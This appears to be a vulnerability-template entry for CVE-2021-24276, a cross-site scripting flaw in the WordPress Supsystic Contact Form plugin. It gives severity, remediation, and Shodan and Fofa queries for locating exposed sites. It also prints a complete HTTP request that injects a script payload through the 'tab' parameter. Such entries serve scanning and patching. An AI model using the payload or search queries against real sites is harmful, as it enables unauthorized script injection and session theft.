| Title | WordPress Supsystic Contact Form <1.7.15 - Cross-Site Scripting |
|---|---|
| Author | dhiyaneshDK |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the victim's browser, leading to potential session hijacking, defacement, or theft of sensitive information. |
| Remediation | Update to the latest version of the WordPress Supsystic Contact Form plugin (1.7.15 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.08366 |
| CVE ID | CVE-2021-24276 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/contact-form-plugin/ |
| Fofa Query | body=/wp-content/plugins/contact-form-plugin/ |
| Tags | cve2021 cve wordpress wp-plugin wpscan packetstorm supsystic vuln |
WordPress Supsystic Contact Form plugin before 1.7.15 contains a cross-site scripting vulnerability. It does not sanitize the tab parameter of its options page before outputting it in an attribute.
GET /wp-admin/admin.php?page=contact-form-supsystic&tab=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:141.0) Gecko/20100101 Firefox/141.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24276.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24276.pcap
N/AN/A